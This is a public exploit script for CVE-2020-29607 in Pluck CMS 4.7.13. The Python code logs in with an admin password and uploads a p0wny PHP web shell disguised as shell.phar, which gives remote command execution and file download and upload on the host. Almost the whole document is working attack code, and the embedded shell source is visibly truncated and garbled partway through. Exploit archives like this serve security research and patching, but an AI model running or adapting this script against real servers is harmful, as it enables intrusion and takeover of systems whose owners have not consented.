# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) # Date: 25.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://github.com/pluck-cms/pluck # Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13 # Version: 4.7.13 # Tested on Xubuntu 20.04 # CVE: CVE-2020-29607 ''' Description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality, which may result in remote code execution. ''' ''' Import required modules: ''' import sys import requests import json import time import urllib.parse ''' User Input: ''' target_ip = sys.argv[1] target_port = sys.argv[2] password = sys.argv[3] pluckcmspath = sys.argv[4] ''' Get cookie ''' session = requests.Session() link = 'http://' + target_ip + ':' + target_port + pluckcmspath response = session.get(link) cookies_session = session.cookies.get_dict() cookie = json.dumps(cookies_session) cookie = cookie.replace('"}','') cookie = cookie.replace('{"', '') cookie = cookie.replace('"', '') cookie = cookie.replace(" ", '') cookie = cookie.replace(":", '=') ''' Authentication: ''' # Compute Content-Length: base_content_len = 27 password_encoded = urllib.parse.quote(password, safe='') password_encoded_len = len(password_encoded.encode('utf-8')) content_len = base_content_len + password_encoded_len # Construct Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': str(content_len), 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Referer': 'http://' + target_ip + pluckcmspath + '/login.php', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1' } # Construct Data: body = { 'cont1': password, 'bogus': '', 'submit': 'Log in', } # Authenticating: link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php' auth = requests.post(link_auth, headers=header, data=body) print('') if 'error' in auth.text: print('Password incorrect, please try again:') exit() else: print('Authentification was succesfull, uploading webshell') print('') ''' Upload Webshell: ''' # Construct Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060', 'Connection': 'close', 'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1' } # Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?>\n\n\n\n \n \n p0wny@shell:~#\n \n